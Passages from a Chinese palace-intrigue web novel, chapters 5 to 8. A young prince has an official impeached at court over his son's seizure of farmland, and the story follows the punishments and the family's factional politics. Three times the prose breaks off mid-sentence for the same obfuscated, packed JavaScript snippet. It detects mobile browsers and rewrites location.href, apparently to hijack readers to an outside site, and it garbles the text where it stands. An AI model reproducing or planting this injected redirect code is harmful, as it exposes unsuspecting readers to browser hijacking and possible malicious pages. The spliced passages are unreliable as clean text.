早膳刚摆上来,百里漾还没动筷,崔栋就来了。他依旧是昨夜的装扮,衣服显而易见的皱巴巴的,面色显出一点点憔悴,眼下有一片不算明显的青色,明显是昨夜一夜未睡。即便如此,他的眼睛却亮得发光。百里漾不用猜就知道他是连夜去查褚宗铉的事了。 崔栋先按规矩给百里漾行礼,在对面坐下后便迫不及待道:“这事还真是褚宗铉私底下弄出来的。” “你先吃点东西垫垫肚子。” 一大早跑来,崔栋估计没吃早餐,百里漾转头吩咐身边的侍女让厨房加餐。 崔栋也不客气,反正他来蹭百里漾的早膳也不是头一回了。两人用完早膳,净了口,崔栋将自己连夜查出来的事情说了。 不过一夜而已,速度快的都有些惊人了。这其中固然有崔栋消息灵通、人脉广的原因,更重要的一点是褚宗铉遮掩的手段相当不高明,在崔栋看来甚至可以称得上是拙劣。褚氏的小公子还真是一个纨绔废物、草包点心。 崔栋说道:“事情与褚氏嫁女有关。” 怀郡郡守褚之彦有三子二女,长女几年前嫁给了定安王百里洪为妃,次女在三年前及笄并许了人家,过一段日子就会成婚。这一切事情就起源于褚氏女的嫁妆。 士族大姓自诩身份地位,方方面面都是很讲究的,嫁娶这样的大事更是要讲究体面与排场,同时还涉及到彼此对这门婚事是否看重的问题。这时候,男方要看聘礼,女方就要看嫁妆了。 “褚宗铉与他前头的两位兄长不太对付,与两个姐姐的关系却极好,这次二姐出嫁,他想为其添妆。可是手头上没有什么特别拿的出手的东西,又不想输给两个哥哥,有人就给他出主意,于是他便打起了城外百亩良田的主意。” 这年头女子出嫁,家中长辈会为其添妆。若女子有兄弟姊妹与之关系亲厚的,亦会如此。这本来是一件好事,但活生生被褚宗铉弄恶心了。 话说到这里,崔栋更加鄙夷褚宗铉的做法了,褚宗铉这厮当真贪婪又无耻,“上有朝廷律令,褚宗铉不敢明着违逆,可他手里没钱,干脆干起了‘换田’的勾当。说是换,其实跟抢也差不多了。” 这确实是够恶心人的,但也符合一些豪强的做派,只是没有想到褚宗铉会做得这么不遮不掩,真是脸都不要了。 百里漾:“看来褚之彦对此事是毫不知情了。” 估计褚之彦也没想到自己儿子会干出这种蠢事吧。可能他觉得小儿子虽然不成器,但不会闯出什么大的祸事,平日里就没有那么关注褚宗铉的动向。所以这就是惊喜啊,褚之彦肯定没想到,这一不留神没看住,小儿子就给自己闷了个大雷出来。 5. 第 5 章 “收集好证据,令人在后日的廷议上弹劾褚之彦。”百里漾道。 养不教父之过,这事表面上看是褚宗铉自作主张,褚之彦一个教子无方是跑不掉的,但人是很会发散思维联想的,难免会想是不是褚氏在背后授意或许默许的,否则一个不学无术的纨绔子弟会如此胆大包天。但凡能牵涉到朝堂上的事情,很多人只会想的更多。 借着此事整治一下褚氏倒是其次,百里漾更看重的是这件事背后牵扯到的田地买卖。他到要看看是谁在背后蠢蠢欲动。 三月十五,廷议日。王升殿,群臣进拜,议诸国事。 江都国是大衍的诸侯王国之一,据地四郡之众,其中三郡皆属沃地,论富庶也是排在诸侯国前列的。四郡以江都郡为首,亦是王宫所在。王宫是缩小了的帝宫,总体仿照了湛京帝宫的建制却不能逾越,面积自然要缩小了差不多十倍有余。除此之外,高墙矗立,恢弘的大殿只露出了翘起的檐角,王宫之外门禁森严,甲士披坚执锐,代表着王权的黑底赤龙团王旗迎风招展。 廷议不是经常有的,一般而言,每月的逢一、五之日,诸侯王才会召集底下的臣子举行廷议。凡此时,国中有品级的官员都要整装肃容,提前抵达承运殿外等候。对于诸侯王而言,这也是一件需要严肃对待的大事,故而当日五更不到,作为寝宫的长乐殿中已是一片灯火通明,宫人们早早就起来忙碌了,整体呈现出一种忙中有序的条理。 百里漾已净面,挺身而立,张开双手,有专门的宫人为他穿衣。 五更,天幕也只是透出一点微光,四下还是一片黑。每当这时,百里漾对于自己已在这个世界生活了十几年的事实有了更清晰的认知。这个点,要搁在前世,不是熬夜没睡就是压根就没有起。他在心里感怀,面上却是丝毫不显。 廷议要穿正式的朝服,颇为繁琐。层层的衣服按照次序加诸于身,最外层的袍服为深黑色,其上绣有赤纹云龙、祥云等图案。腰系镶金玉带,然后佩上香囊、宝玉,悬挂宝剑。最后是戴冠。礼制,诸侯王以金冠束发,戴九旒冕冠,以白玉为簪。 “大王美姿仪。”穿戴完毕,内侍行礼赞道。 这不是拍马屁之语。百里漾这一世的相貌很是不俗,虽说上一世的相貌也不差,可这一世毕竟换了一个性别,就是不太一样的好看了。他这一世的相貌遗传自帝后,皇后崔氏是有名的大美人,百里氏更是代代出美男子,作为两者结合后的产物,百里漾还真没有怎么担心过自己的外貌。 将满十七岁的少年郎眉清目秀,唇红齿白,五官勾勒精致,眼神更是别样的清澈,说是目若朗星都不为过。在象征着尊贵与权力的朝服加身,更是通身的气派与天家威严。 在侍人为百里漾抚平衣服上的褶皱、确认装束齐整无误后,时辰也到了。恰是天光破晓的那一刻,有专人鸣鼓,与鸡鸣同时。鼓楼上,厚重的大鼓被鼓槌重重敲响,震动而出的鼓声传遍王宫的每一个角落。 承运殿前,等候已久的官员们纷纷整理仪容,在宫侍的带领下井然有序地入内,按照次序站好。内侍唱道:“大王升殿,群臣跪拜。”随后百里漾步入殿中,落座,左右侍人便唱“起”,官员们纷纷齐贺“大王长乐安康”后才起身。 百里漾看着底下这些年几乎没什么变化的面孔后颔首,左边侍立的内监便喊道:“廷议始,诸卿进奏。” 廷议形式与朝会差不多,只是江都国只是诸侯王国,规格、形式什么的不能越过朝廷,但大体是差不多的,底下的官员人不算多,拢共不到百来号人,居首的是国相范玘,他一人独占一人一列,位置距离王座最近。往下左右分列,泾渭分明。 百里漾的目光在范国相之后的位置上的人身上略微停留了一瞬。那是怀郡褚氏族长褚之彦,领王国要职并兼着怀郡郡守之职,位高权重,所从者众多,有时候连百里漾都不得不予他颜面。 最近除了春种没有什么大事,所以进奏的官员基本上都是汇报各地的春种情况。大衍立国未满五十年,所立国策大多与农事有关,重在与民休息。但凡春种秋收,必加重视,百里漾亦是如此。官员们汇报的都是好消息,百里漾边听边赞许地点头,有几个地方做得确实好的,他还夸奖了两句,记下了地方主政官员的名字。 只是到后面,谁也没有发现他皱起的眉头。 没有人提起褚宗铉“侵占良田”一事。要说没有官员知晓此事是不可能的,那些田地的主人必有去报官的,只要报官就会有人知道。之前百里漾让崔栋找人在廷上弹劾,并不声张,其实也存了希望看看是否会有别的官员主动将此事说出,但结果令他有些许的失望,根本没有人吱声。 显然,这件事被人压住了。 百里漾在心里叹口气,以目示意,范国相接收到大王发过来的信号,微不可查地颔首。很快,就有官员出列,徐趋上前,执笏奏道:“臣有奏,臣弹劾怀郡郡守褚之彦纵容其子欺压良民、以‘换田’之名行侵占良田之实。” 一句不长不短的话跟投雷似的,一下子就把所有走神的、心不在焉的人给震了个激灵。好几个修炼还不到家的官员则瞪大了眼,先去看看弹劾的是哪位,发现不是很眼熟,再去看看被弹劾人的反应,似乎很震惊,最后去看大王的反应,这是偷偷看的,直视大王是不敬之罪,只是匆匆的一眼。但看也是白看,大王的面容还有九旒珠帘挡着,看不真切。 百里漾高坐在王座之上,将底下人的动作和神情都看在眼里,他再次不着痕迹地打量褚之彦。这是一个老狐狸,他面部的表情很震惊,而他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736827|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼睛……百里漾在里面看到了讶异,果然,褚之彦真不知道自己那蠢儿子干的蠢事。 弹劾此事的官员是一个新面孔,年纪在二十许,五官端正,模样俊秀,肤色稍黄,双目却炯炯,站的位置有些靠后。他是范国相向百里漾推举的人,名傅殷。昨日百里漾召见范国相商议弹劾事时,问及何人可行此事,范国相向他推荐了傅殷。 范国相是当初随着就封的人员之一,原是东宫属官,极为忠心,是百里漾信赖的人之一。他推举的人,百里漾自然放心,也可以趁着此次试一试此人的能耐。 廷上已经开始了辩驳。 褚之彦是真的不知道他那小儿子背地里搞出的那些事。这些日子他忙着张罗次女出嫁的事情,许多事情就不太顾得上,自然对小儿子的管教也就少了些。傅殷刚跳出来弹劾时,他的脸色已是黑沉,再听傅殷将一桩桩一件件列出来,更是难看了。 能拿到廷议上说的事情必然不是捕风捉影,必然是要有实证的。傅殷给出的证据很清楚,褚宗铉什么时候差人去要求“换田”,遭到拒绝后如何去踩踏良田,去了几次、每次去了几回、当时是个怎么情形都说得一清二楚。 事实很清楚了,褚之彦的人几乎无可辩驳。但要他们认下是不可能的,这事牵扯到褚之彦,还扣下“侵占良田”的罪名,朝廷律令在上,这种事情抓到了就是严惩,这事必须与褚之彦撇开关系,若有可能还要想办法保一保褚宗铉。 褚之彦先站出来自辩,他先把自己摘出去,说自己近日忙于筹备嫁女之事,根本不知道此事,何来纵容之说。然后为褚宗铉辩解,说褚宗铉绝无违逆朝廷之意,至于“换田”的事情是底下人撺掇,那逆子是鬼迷心窍才做出了错事,对踩踏良田以此威胁换田之事也含糊其辞。他站出来自辩后,随后也有一些官员站出来声援,为这事辩解。 百里漾一直不出声,这些人帮腔的官员他也认识,俱是平日里与褚之彦走得近的,他并不意外,只是再一次在心里感慨了一下这种百年世家的树大根深。 褚之彦他们辩解的策略是甩锅,都是底下的仆役不老实,褚宗铉只是被蒙蔽蛊惑了。一张嘴,黑的几乎也要说成白的了。他们咬死了是换田,绝不是侵占百姓良田。至于为什么是瘦田换良田,都是那管事心肠黑。主子说了是良田换良田,是管事想从中谋私利,私底下将允诺的良田换成了瘦田,褚宗铉完全不知情。至于褚宗铉踩踏良田、打伤百姓,这事就没什么好说的了。不过这些人不死心还强辩了一下,还是甩锅给管事,说管事编了田主冒犯褚宗铉的话告知给他听,致使褚宗铉大怒才去踩踏良田的。 瞧瞧这厚脸皮。 听着好像说得过去,可是能站在这里的人哪个都不是傻的,有默不作声的,也有反驳的。 6. 第 6 章 傅殷是范国相推出来打头阵的主战力,可他不是一人作战,也有官员站出来支持他与褚之彦方辩论。到最后傅殷说道:“我听闻褚三公子今年已将近十七,那管事亦是跟在他身边多年的,时常听闻有老奴仗着资历欺幼主,如此说来,褚三公子被蒙蔽也不是不能理解了。”他面上慨叹,一副“我也不是不能理解”的模样,气得褚之彦的脸直接黑沉如水了。 他看似退了一步,实则嘲讽拉满。 褚宗铉都快十七了还是“幼主”,还被手底下侍奉了他多年的老仆欺瞒,除了蠢还有其他的解释么?这是明晃晃的嘲讽,可偏偏褚之彦还不得不捏着鼻子忍下来。 斯文人骂人就是好听,一个脏字都不带的。好些人差点憋不住笑,急忙扭过头去把笑憋回去,否则殿前失仪就不好了。 百里漾听得乐了,对傅殷的好感上来了,觉得是个可造之材。傅殷穿着一身玄色的官服笔直立在殿上,对所有加注在他身上的目光坦然以待,宽大的袍服衬得他的身形有些单薄,宛若一截不屈不挠的青竹。 争辩到这里已然没有继续下去的必要了。 褚之彦敢甩锅给仆役自然是有底气在的。那仆役是褚氏的下人,褚之彦手里捏着身契,可以决定仆役的生死。百里漾这边并没有来得及将有关的仆役收押,傅殷也是临时受命,手里头并没有由褚氏仆役签字画押的供词,这才给了褚之彦机会。 时间来不及。从百里漾知道此事到今日在廷议上爆出来不过三日,他们也是在抢时间。也是褚之彦不知道自己的蠢儿子干的好事,一旦他知道,以这老东西的手段,早就处理得干干净净的了,甚至完全可以把褚宗铉撇得干干净净。 百里漾也知道拿着这件事并不能将褚之彦如何,但他要借着这件事杀一只“鸡”,褚宗铉现在就是这只“鸡”,他要以此警告那些蠢蠢欲动的人,朝廷的授田谁都别想动。 接下来就是议罪处置了。 褚之彦虽然不知情,可儿子是他的,那管事也是他褚氏的仆人,一个“教子无方”、“御下不力”的失察之罪是跑不掉了,百里漾罚了他三年的俸禄,并让他在家中闭门思过两月。褚宗铉踩踏伤人是事实,但他没有官职在身,罚杖责四十,不准以金相赎,并倍偿受伤百姓损失。其余那些与褚宗铉一起胡作非为的,处罚差不多,只是没有褚宗铉严重。不过,有这样的“案底”在身,这些人的人名声是坏了,往后要想做官可就难了。 这个结果达到了百里漾的预期,他满意了,问了一句“还有何事要奏”,见无人应声后,痛快地令侍人宣布退廷了。 廷议结束后,范国相被百里漾宣召,他身后还跟着傅殷。 “汝有捷才,方才卿在廷上的辩论很是精彩。”百里漾对着傅殷夸赞道。今日傅殷用他的表现向百里漾证明了自己,也成功地让百里漾记住了他。 傅殷面容染上喜色,却不失沉稳,叩谢道:“谢大王夸奖,臣傅殷愧不敢当。” “卿不必谦虚。”百里漾对傅殷很有好感,连着问了他好些问题,得知傅殷出身平平,是郡国学出来为官的优秀学子后,更加欢喜了。 实在是这个时代对普通出身的人很不友好,阶层之间几乎没有什么流动性,这就意味着普通人要往上爬几乎很难实现。前朝时,公卿高官被世家豪族所把持,普通人好不容易为官了,也只能做些微末小官。到了衍朝,情况稍微好一些。高/祖皇帝在湛京设置了太学,各地也设有郡学,诸侯王国设立有郡国学,允许天下优秀学子进入学习。 这年头知识的载体很多都是竹简,纸张还没有发明出来,绢帛更是贵重物,用来书写的就更为珍罕了,而这些大多把持在那些传承多年的世家豪族手里,一般人根本接触不到。衍朝创立前后,一些世家豪族被灭了,他们收藏的那些竹简和绢帛就流到了百里氏手里,高/祖皇帝就用这些设立了太学、郡学。而当初为了响应朝廷的号召,那些存活下来的世家豪族也象征性地捐了一点出来,由此,各地的郡学和郡国学才能在各地上开花。 可即使是这样也很难。哪怕开设了这些学校,能够进去的大多也都是世家豪族的子弟,普通出身之人的数量少得可怜。且时间尚短,没见什么成效,衍朝的绝大部分官员基本还是那些出身世家豪族的人,寒门子弟都少见,可别说毫无家世优势的一般人了。 百里漾每次想到这都要叹息,再次庆幸自己这一世投了个好胎,否则很大概率只能删号重来了。他有心改变这个现状,可惜,他前世是个文科生来着,造纸、造玻璃之类的他压根不会啊,主要是没有想过自己会穿越。当初看各种穿越小说,看里面的主角各种大发神威、发明各种东西给落后的朝代一点几千年后文明的科技震撼,他那时也幻想过穿越,但内心其实是没怎么当真的,要知道真的有这么一天,他早就去背各种发明的原料、配方了,何至于今日又叹又愁的。 这年头上位者要表示对下位者的看重与喜爱,方法很简单,最亲近的方法就是留宿同榻抵足而眠,据说皇帝当年就与那些效忠于他的大臣们同榻而眠很多次。不过,这个方法嘛,百里漾心里有点适应不来,他可没有与人一起睡觉的习惯。在知道傅殷家境一般,即使为官也不富裕,现在还在租房子住后,百里漾赐了一点金银布帛给他。 给钱嘛,谁不喜欢。何况百里漾给的还不少,足有二十金。虽然只有两块金饼子,可分量很足,黄灿灿的颜色谁不喜欢。傅殷谢了恩,高兴地捧着赏赐随着范国相一道出王宫去了。 “今日你的表现很好,既挫了褚氏的锐气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736828|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也成功地让大王记住了你。”出了宫,范国相对傅殷嘉许道。 傅殷则躬身行礼道:“下官谢相师赏识提携。” “相师”的说法是因为范国相曾在江都的郡国学中教习过学子一段时间,傅殷曾经有幸听过范国相一段时间的授课,勉强称呼他一句“相师”也未尝不可。傅殷的感谢也是真心实意的。如今的世道贫寒子弟出头难,做官之后没有家世、门路还有金钱也难以上进。范国相看中了傅殷是有才学知上进的好苗子,愿意给予傅殷机会,傅殷抓住了机会,也知恩感恩。 “机会有,能握住亦是你的本事。”范国相看了眼那赏赐的二十金,捋着半花白的胡须笑道,“看来你今次的表现确实让大王欢喜,大王可是甚少赐金给人的。” 傅殷一时不能明白范国相这句话里的意思,范国相却不打算多说了,他总不能对傅殷说大王其实是有些抠门的吧。 “好生做事,大王必不会亏待任何一个忠心为他办事的人。”范国相心情好,脸上挂着笑迈着步子慢悠悠地走了。 这边气氛和乐,而那厢褚之彦气得头顶都冒烟了。 “去将那个逆子给我找来,他若不回便直接绑回来。”出了王宫,褚之彦翻身上马直奔怀郡,赶在日落之前回到了府里,进门就冲着前来迎接的管事喊道。 主君的面色如此难看,管家不敢耽搁,当即带着人拿着绳子就去办了。半个时辰不到,褚宗铉急匆匆回来了。管家找到他时,因他昨夜胡混了一夜,正搂着花娘呼呼大睡,听到亲爹急召,正心虚的他不敢如往常拖延就回来了。 “父亲,您找儿子有何事?”褚宗铉刚要上前问安,却迎来了褚之彦带风呼起的一巴掌,当即就被掴翻在地了。别看褚之彦像个文士,实际上也善骑射,力量不小,打翻一个褚宗铉可以说是轻而易举。 廷议之上毫无预兆的被人弹劾发难,一路上褚之彦憋了一肚子的火,如今见着小儿子这个“罪魁祸首”,又看他脸上还有没有消彻底的淤青,怒火更盛。一巴掌还不够,褚之彦手里还拽着马鞭,对着褚宗铉狠狠抽去。 身糙皮厚的马被皮制发亮的马鞭抽在背上尚且吃痛,更别说抽在身娇肉贵的褚宗铉身上了。马鞭抽动的裂风声被褚宗铉的痛嚎声完全压过,只三五下,抽得是皮开肉绽,血迹洇透了衣服。 “住手,快住手,你是要打死他不成?”搭救的人很快来了,是褚之彦的母亲,褚老夫人。事实上,褚宗铉在被“请”回来时就有不妙的预感,提前令身边的随从去请救兵了。 “祖母,救命啊,父亲他要打死孙儿啊。”褚宗铉痛得鼻涕眼泪一齐出来了,忍痛爬到褚老夫人身后躲着。 “母亲。”褚之彦不敢对着褚老夫人挥鞭子,停了手,却依旧怒视小儿子。 7. 第 7 章 “他又怎么惹着你了,你竟下此毒手!”褚老夫人看着疼爱的小孙子身上的惨状,心痛得好似那鞭子是抽在她的身上。对着儿子,说话也不客气了。 “父亲手下留情啊。”同来的还有褚之彦的次子和次女,也为褚宗铉求情。 “蠢货,你自己做了什么,你自己说。”再打是不成了,褚之彦扔了沾了血的马鞭,怒瞪着褚宗铉道。 “就是真做了什么错事,你也不能将他往死里打,我的铉儿毕竟仍年幼。”褚老夫人这么宠着护着也不是头一回了,所以每回都是雷声大雨点小,褚宗铉都能逃脱惩罚。 可这一回却不一样了。 “不要让我说第二次。”褚之彦不理会褚老夫人“求情”的话,一双阴沉的眼睛直盯着褚宗铉,让他心里止不住的发慌和恐惧。 完了,这次他是真的闯大祸了,这一次比以往任何一次都严重。 褚宗铉再也不敢存有任何侥幸心理,他不敢再躲在祖母身后,乖觉又痛得呲牙咧嘴地跪下了,“父亲,我也没做什么,就是带着人去踩踏王城外一群贱民的秧苗。” “只是踩踏秧苗?蠢货!”褚之彦指着褚宗铉怒骂,他怎么会生出这么废物且愚蠢的儿子,“你只是单纯的踩踏秧苗还是想要以此逼迫那些贱民换田?” “换田?”次子褚宗锒敏锐地意识到事情的严重性,“三郎怎么会去做这样的事情?朝廷可是严禁买卖授田的。”他记得,王城外的那是一大片的百亩良田。褚宗铉平素花天酒地、大手大脚惯了,他想换,拿什么来换?只能是以贱换良了。不过三两下,褚宗锒就猜到了褚宗铉大致使了什么手段。 “都说了只是换田,你休想给我扣上这么大的帽子。”褚宗铉一听就炸毛了,对着褚宗锒不客气嚷道。 褚之彦有三个儿子,长子褚宗铭和幼子褚宗铉都是嫡妻所出,唯有次子褚宗锒是他酒后宠幸了一个婢女所生。在士族高门中,嫡庶本来就是天然的对立,褚宗铉就很看不上这个所谓的二哥,有时甚至都会指着鼻子骂。 “你蠢也当别人蠢。”褚之彦真的要被小儿子的愚蠢气伤了,“你打着换田的幌子,干的勾当与强买强卖有何差别。” “父亲,可是有人向大王弹劾了?”褚宗锒问道。 能让父亲气成这样,也只会是这个可能了。而且本身这个时候他父亲出现在怀郡的府中就很反常。 次子的机敏让褚之彦有点安慰,他的儿子也不都完全是蠢货。他瞪视褚宗铉,“你可真是我的好儿子。今日廷议,你干的那些事当廷被抖落出来。此事已有决断,稍后就有人上门来拿你。” 褚宗铉吓傻了,他没有想到后果会这么严重,明明不会有人知道的。“杖四十”,这四十杖打下来他不死也残了。他青天大白日里愣是打起了冷颤,痛哭哀嚎着让人救他。 “谁也救不了你,这是大王的意思。托你这个‘好儿子’的福,我也被罚在家闭门思过了。”褚之彦从幼子手里硬扯回自己的袖子,目光冷冷,让其他人想要求情都说不出话来了。 “母亲,纵子如杀子,应同此理。再不严加管教,迟早祸延全族。”褚之彦看着心疼即将受罚的褚老夫人严肃道。 奉王命前来拿人的官兵是在半个时辰后登的门。褚宗铉获刑杖四十,征得褚之彦同意后直接在褚府中施行的。打到将近二十杖时,褚宗铉已经昏死过去,后面是泼醒了继续。行完刑,交了罚金,褚宗铉的惩罚便算完了。余下要拿的也是褚府中受了褚宗铉授意参与“换田”一事褚氏仆从。除了褚氏,他们还要去别家,当初跟着褚宗铉踩踏秧苗的那些纨绔子弟也不能落下任何一个。 褚之彦从头至尾都没有出现,长子褚宗铭不在家,于是只有次子褚宗锒作为主人家出面周旋。 “父亲,您唤儿子有何事吩咐?”那些官兵走后,褚宗锒就被叫到了褚之彦的书房里。作为庶子,褚宗锒很少有机会到这里来。来这里最多的是嫡兄褚宗铭。临进门前,褚宗锒垂眸掩去其中幽沉,恭谨问道。 “坐。”褚之彦一指右下手的椅子道。 褚宗锒一进门就察觉到了父亲落在他身上的目光,很有压迫,他摸不透意图,没有冒然开口,等待父亲先开口。 褚之彦盯着庶子,问道:“近日你在家中,就不曾发现三郎有不妥之处?” 褚宗锒心中一沉,忙从椅子上起来,面露苦笑道:“三郎他、向来对我有些误会,许多事也不会同我说起。近来家中忙着筹备二妹妹的婚事,儿子虽愚笨也想尽一份绵薄之力。此间确实疏忽了对三郎的照看,儿有过,请父亲降罪。” 随着这番话说完,空气似乎变得沉闷,褚之彦看着这个平时没多大上心的庶子,发现他还是有几分像自己,至少眉眼颇为相像。 “行了,三郎是个什么德性,为父比谁都清楚,他给家中惹祸是早晚的事,怪不了你。” 褚宗锒暗暗松了一口气,重新坐了回去。 “这次的事情,你怎么看?”褚之彦又问道。 褚宗锒意外之中又颇有受宠若惊之感,以往像这样问询的口吻,只发生在父亲与嫡兄之间。对他,还是第一次,是不是意味着父亲的目光终于看到了自己? 褚宗锒认真思考了一番后答道:“此事,对三郎惩戒只是表面,大王怕是想要借此震慑那些真正想要买卖授田的人。”他把此次问答当成了一次考验与机会,答案在脑海中斟酌了好几遍才说出来。 “不然,恰恰相反。”褚之彦有些失望,庶子果然还是庶子,比不得嫡出的。只是他想的长远,褚氏日后必是交由长子的,庶子虽不如长子,亦可稍加培养一番以供长子驱策。至于幼子,那就是个指望不上的蠢东西。 褚宗锒面有懊恼,拱手道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736829|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “儿愚笨,请父亲不吝教诲。” “你可知你长兄缘何离家?”褚之彦问起了别的事。 “前些日子定安国来人报喜,长姐诞下一子,父亲公务繁忙,无暇去贺,长兄代为之。” 褚之彦长女嫁与定安王百里洪为妃,这是人尽皆知之事。褚氏女为定安王诞下嫡子,自然是值得庆贺的事情。褚氏作为王妃妻族,更要有所表示,派去贺喜的人身份要足够分量才能显出诚意,褚宗铭是宗子,最为合适。 褚之彦接着又问道:“东宫孱弱多病,倘有变故,何人可为继?” 这话属实是大逆不道,若让人知晓少不得一个非议东宫、觊觎储位的大罪名。可这是褚府书房,四下唯有褚氏父子二人,所以褚之彦毫无顾忌地问了。 褚宗铭心率加快,却是怀揣着一种接触隐秘禁忌的兴奋,以前父亲是从来不会与他说这般重大的事情的,因为这事涉及到了褚氏的未来。 当今东宫太子百里渝乃椒房所出,是陛下正儿八经的嫡长子,兴业元年正月即册立,正位东宫。与大多数受到帝王猜忌的太子不同,陛下待太子尤为宠赖信重,其他的皇子都不能够取代太子在陛下心中的地位。可这并不能使皇子们放弃对东宫之位的觊觎。因为太子自幼身子骨就不大好,这些年全靠汤药养着。这就让许多人看到了机会。 褚宗锒平日里不得重视,可他到底是褚氏子,若是有心,朝廷上的事他也是能知道一些的。太子如今是这般状况,底下的人都在看着,明面上不动实际私底下都各有各的计较和动作。至少他们褚氏是投了三皇子定安王百里洪的。 褚之彦问这话其实是不需要褚宗锒答的,他们心里都有答案,褚氏做了定安王的丈人家,这艘船是已经登上去了。褚之彦更是盼着从龙之功,做国丈的。 “儿子愚钝。”褚宗锒垂首道。 “罢了,你只需知晓如今褚氏处境尴尬,身为褚氏子孙,须得行事谨慎小心,勿要给家中招来祸事。”褚之彦话一转,告诫起了庶子。先前那一番似要与庶子推心置腹、商论家族未来的话好像都是褚宗锒的幻觉。他心里升起了巨大的失落感。可父亲的权威在上,他也只能恭敬垂首听训并顺从道:“是,谨遵父亲教诲。” 不一样的,还是不一样的,他到底也只是一介庶子而已。 “褚之彦这回因为他那草包废物的儿子怕是要惹出满头的虱子了。”廷议结束后,崔栋跑去百里漾处理政务的书斋蹭茶喝,边喝边幸灾乐祸道。 派去拿人行刑的人皆是忠心于百里漾的,他们知道上头的意思,手里都是有分寸的。就拿褚宗铉的“杖四十”来说,百里漾还真不至于真的要打死他,否则就真的是与褚氏撕破脸了,但要让褚宗铉受一番罪是必不可少的。可跟着褚宗铉去为非作歹的那些人就未必会有这个“待遇”了,扛不扛得过都得他们自己来受着了。 8. 第 8 章 那些个纨绔子弟后背都是站着各家的大人的,不少人在家里的受宠程度并不亚于褚宗铉,有些还是独子。儿子遭了这么大的罪,没有人敢对百里漾不满,可生出来的怨气总是要有发泄的口子。这事是褚宗铉闹出来的,最后他们的儿子还要受连累。那些人难免不会对褚氏生怨。所谓独木难支,褚氏再是树大根深、盘踞一方也要顾及这些小家族,不能让他们跟自己离心了,少不得要花些时间和精力去平息这些人的怨气。褚之彦少不得要烦上好一阵子。 而百里漾对褚之彦的处置,重点在后面两个月时间的闭门思过。两个月内褚之彦不能出面理事,足够百里漾做一些事情了。 “事实证明,人不能太得意,乐极是会生悲的。“崔栋说的是褚之彦得知定安王妃产子后大张旗鼓地燃放了三天三夜烟火爆竹的事情。 这事百里漾也有所耳闻。 定安王前段日子喜得嫡子,定安王再是高兴估计也比不得褚之彦这个做外祖父的。毕竟定安王已经有庶长子了,而褚之彦盼这个外孙可是足足盼了好几年,如今一朝得偿所愿,自然要大肆庆贺庆贺。 “如今这消息估计也传到湛京了。”百里漾拿笔的手顿住,思绪发散,想到了湛京里的人和事,一时间脸上便带出了些愁绪。 崔栋手里的茶喝着也不香了,面上的神情也差不多。他们从出生起便在湛京生活,熟悉那里的一草一木,他们的家人也都在那里,说到底,那里才算是他们的家。只不过百里漾十二岁时,朝臣觉得不能再拖了,纷纷上奏请皇帝赐皇五子就封。拖了三个月,百里漾才带着帝后拨给他的人踏上了就封的路。崔栋是自愿向皇后请求跟着百里漾一同来的。 想着远在湛京的父母亲人,崔栋不免思念。他看着陷入了同样思绪的百里漾,心中多少有些怜悯这个表弟。他还好些,一年之中总能寻到一次机会回去,可百里漾却是不行。百里漾已然就封,拥有了自己的藩国。按制,他已经算是天家分出去的宗室,且诸侯王无旨是不能随意离开封国的。而陛下为了确保太子的地位稳固,已经很多年没有准许诸侯王进京了。 崔栋知道百里漾心里难过,不知道怎么安慰,于是打算转移话题说点开心的事情。只是百里漾却开口了,脸上的那些愁绪也消失了,他问:“今年的岁贡,朝廷那边还没有消息么?” 所谓岁贡,其实是诸侯王向皇帝献贡。按衍制,诸侯国仍属大衍国土,诸侯王臣于天子,藩国每年定期进京朝贡,向天子进献黄金、玉壁等物。但自兴业八年始,皇帝亲自下诏,令诸侯王不必每岁进京,改由王国相代行岁贡之礼。这几年,江都这边都是范国相代王进京。 “还没有。”崔栋叹,这个话题还真是绕不开了,“往年至多三月末就会有旨意传过来,今年也不知道是个什么情形。”所谓的“情形”,其实就是看皇帝的心意。想不想让诸侯王进京,看的都是皇帝的意思。 如今是三月下旬初,再有月余就到了岁贡的日子了。皇帝登基后改元的第一年,将岁贡的日子定在了五月。在此之前,大衍还未真正进行过岁贡。因为诸侯国的建制虽然在大衍立国后由高皇帝百里率定下了,但真正有诸侯国还是在皇帝百里纵登基之后才有的。 只因高皇帝只有二子一女,长子纵是钦定的接班人。高皇帝登基称帝后,长子为东宫太子,封长女纭为越国公主,封次子横为淄川王,高皇帝不舍子女远别,就未给长女次子赐下封国,仍赐居湛京,也就没有岁贡一说。至皇帝登基后,才赐下封国,遣去就封的。 